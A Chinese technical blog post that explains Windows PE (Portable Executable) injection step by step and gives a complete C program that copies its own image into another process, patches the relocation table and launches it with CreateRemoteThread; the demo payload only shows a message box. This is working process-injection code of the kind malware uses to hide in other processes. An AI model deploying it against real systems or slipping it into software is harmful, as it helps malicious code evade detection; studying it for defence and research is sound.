进程注入之Portable Executable Injection,PE注入的核心是创建远程线程,注意重定位表修复

 

PE(Portable Executable)注入是一种常见的代码注入技术,主要用于在目标进程中执行恶意代码。以下是PE注入的基本流程:

1. 获取当前PE映像的基地址:使用GetModuleHandle(NULL)函数获取当前PE映像(即要注入的代码)的基地址。

2. 复制PE映像:使用VirtualAlloc函数在当前进程中分配一块新的内存,然后使用memcpy函数将当前PE映像复制到新分配的内存中。

3. 打开目标进程:使用OpenProcess函数打开目标进程。目标进程是我们要注入代码的进程。

4. 在目标进程中分配内存:使用VirtualAllocEx函数在目标进程中分配一块新的内存。这块内存用于存放我们要注入的代码。

5. 计算基地址的偏移量:计算新分配的内存(在目标进程中)和当前PE映像的基地址之间的偏移量。

6. 重定位PE映像:根据计算出的偏移量,修改PE映像中的所有相对虚拟地址(RVA)。这一步是必要的,因为PE映像中的代码和数据通常都是基于相对虚拟地址的。

7. 将PE映像写入目标进程:使用WriteProcessMemory函数将重定位后的PE映像写入到目标进程的内存中。

8. 在目标进程中执行PE映像:使用CreateRemoteThread函数在目标进程中创建一个新线程,然后在新线程中执行PE映像的入口点函数。

以上就是PE注入的基本流程。需要注意的是,PE注入通常需要管理员权限,因为它需要打开其他进程并在其中执行代码。此外,PE注入也可能被防病毒软件检测到,因为它是一种常见的恶意代码注入技术。

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
#include <stdio.h>
#include <Windows.h>
 
typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12;
    USHORT Type : 4;
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;
 
DWORD InjectionEntryPoint()
{
    CHAR moduleName[128] = "";
    GetModuleFileNameA(NULL, moduleName, sizeof(moduleName));
    MessageBoxA(NULL, moduleName, "Obligatory PE Injection", NULL);
    return 0;
}
 
int main()
{
    int pid = 14940;
    // Get current image's base address
    PVOID imageBase = GetModuleHandle(NULL);
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)imageBase;
    PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)imageBase + dosHeader->e_lfanew);
 
    // Allocate a new memory block and copy the current PE image to this new memory block
    PVOID localImage = VirtualAlloc(NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_READWRITE);
    memcpy(localImage, imageBase, ntHeader->OptionalHeader.SizeOfImage);
 
    // Open the target process - this is process we will be injecting this PE into
    HANDLE targetProcess = OpenProcess(MAXIMUM_ALLOWED, FALSE, pid);
 
    // Allote a new memory block in the target process. This is where we will be injecting this PE
    PVOID targetImage = VirtualAllocEx(targetProcess, NULL, ntHeader->OptionalHeader.SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 
    // Calculate delta between addresses of where the image will be located in the target process and where it's located currently
    DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;
 
    // Relocate localImage, to ensure that it will have correct addresses once its in the target process
    PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    DWORD relocationEntriesCount = 0;
    PDWORD_PTR patchedAddress;
    PBASE_RELOCATION_ENTRY relocationRVA = NULL;
 
    while (relocationTable->SizeOfBlock > 0)
    {
        relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
        relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
 
        for (short i = 0; i < relocationEntriesCount; i++)
        {
            if (relocationRVA[i].Offset)
            {
                patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
                *patchedAddress += deltaImageBase;
            }
        }
        relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
    }
 
    // Write the relocated localImage into the target process
    WriteProcessMemory(targetProcess, targetImage, localImage, ntHeader->OptionalHeader.SizeOfImage, NULL);
 
    // Start the injected PE inside the target process
    CreateRemoteThread(targetProcess, NULL, 0, (LPTHREAD_START_ROUTINE)((DWORD_PTR)InjectionEntryPoint + deltaImageBase), NULL, 0, NULL);
 
    return 0;
}

  

 

 

为什么需要重定位PE映像?

PE映像需要重定位是因为PE映像中的代码和数据通常都是基于相对虚拟地址(RVA)的。当PE映像被加载到不同的地址时,这些相对虚拟地址就会变得无效。因此,我们需要根据新的基地址重新计算这些相对虚拟地址,这个过程就叫做重定位。

具体的做法是,首先计算新旧基地址之间的偏移量,然后修改PE映像中的所有相对虚拟地址。这些相对虚拟地址通常存储在PE映像的重定位表中。

在你的代码中,重定位的过程如下:

 
// Calculate delta between addresses of where the image will be located in the target process and where it's located currently
DWORD_PTR deltaImageBase = (DWORD_PTR)targetImage - (DWORD_PTR)imageBase;
 
// Relocate localImage, to ensure that it will have correct addresses once its in the target process
PIMAGE_BASE_RELOCATION relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)localImage + ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
DWORD relocationEntriesCount = 0;
PDWORD_PTR patchedAddress;
PBASE_RELOCATION_ENTRY relocationRVA = NULL;
 
while (relocationTable->SizeOfBlock > 0)
{
    relocationEntriesCount = (relocationTable->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT);
    relocationRVA = (PBASE_RELOCATION_ENTRY)(relocationTable + 1);
 
    for (short i = 0; i < relocationEntriesCount; i++)
    {
        if (relocationRVA[i].Offset)
        {
            patchedAddress = (PDWORD_PTR)((DWORD_PTR)localImage + relocationTable->VirtualAddress + relocationRVA[i].Offset);
            *patchedAddress += deltaImageBase;
        }
    }
    relocationTable = (PIMAGE_BASE_RELOCATION)((DWORD_PTR)relocationTable + relocationTable->SizeOfBlock);
}
 

这段代码首先计算了新旧基地址之间的偏移量deltaImageBase,然后遍历了PE映像的重定位表relocationTable,对每个需要重定位的地址进行了修正。修正的方法是将原来的地址加上偏移量deltaImageBase。这样,当PE映像被加载到新的地址时,所有的相对虚拟地址都会指向正确的位置。

 

补充:

在PE文件的重定位表中,除了全局变量的地址,还可能包含以下内容:

1. 函数地址:这包括全局函数和静态函数的地址。当PE映像被加载到新的地址时,这些函数的地址也需要进行重定位。

2. 指向数据的指针:这包括全局指针和静态指针。如果这些指针指向的数据在PE映像中,那么当PE映像被加载到新的地址时,这些指针也需要进行重定位。

3. 跳转和调用指令的目标地址:这包括跳转指令(如JMP和JZ)和调用指令(如CALL)的目标地址。当PE映像被加载到新的地址时,这些指令的目标地址也需要进行重定位。

总的来说,重定位表中包含了所有需要在加载时进行重定位的地址。这些地址通常是全局变量、函数、指针和指令的目标地址。

 

因为PE被注入到其他进程中,肯定是要修复重定位表的,因为这些全局变量、函数的地址啥的肯定都变了!这就是重定位PE映像的原因!

 

至于创建远程线程,之前的文章已经讲过了!可以参考,不再赘述。

 

参考:https://www.ired.team/offensive-security/code-injection-process-injection/pe-injection-executing-pes-inside-remote-processes

posted @   bonelee  阅读(428)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2019-09-21 Charles 4.2.1 HTTPS抓包
2019-09-21 ARP欺骗
2018-09-21 LSTM CNN GRU DGA比较
2018-09-21 识别User Agent屏蔽一些Web爬虫防采集
2017-09-21 MDNS的漏洞报告——mdns的最大问题是允许广域网的mdns单播查询,这会暴露设备信息,或者被利用用于dns放大攻击
2017-09-21 威胁报告:mDNS 反射式 DDoS 攻击
2017-09-21 基于UDP的DDos反射放大攻击
点击右上角即可分享
微信分享提示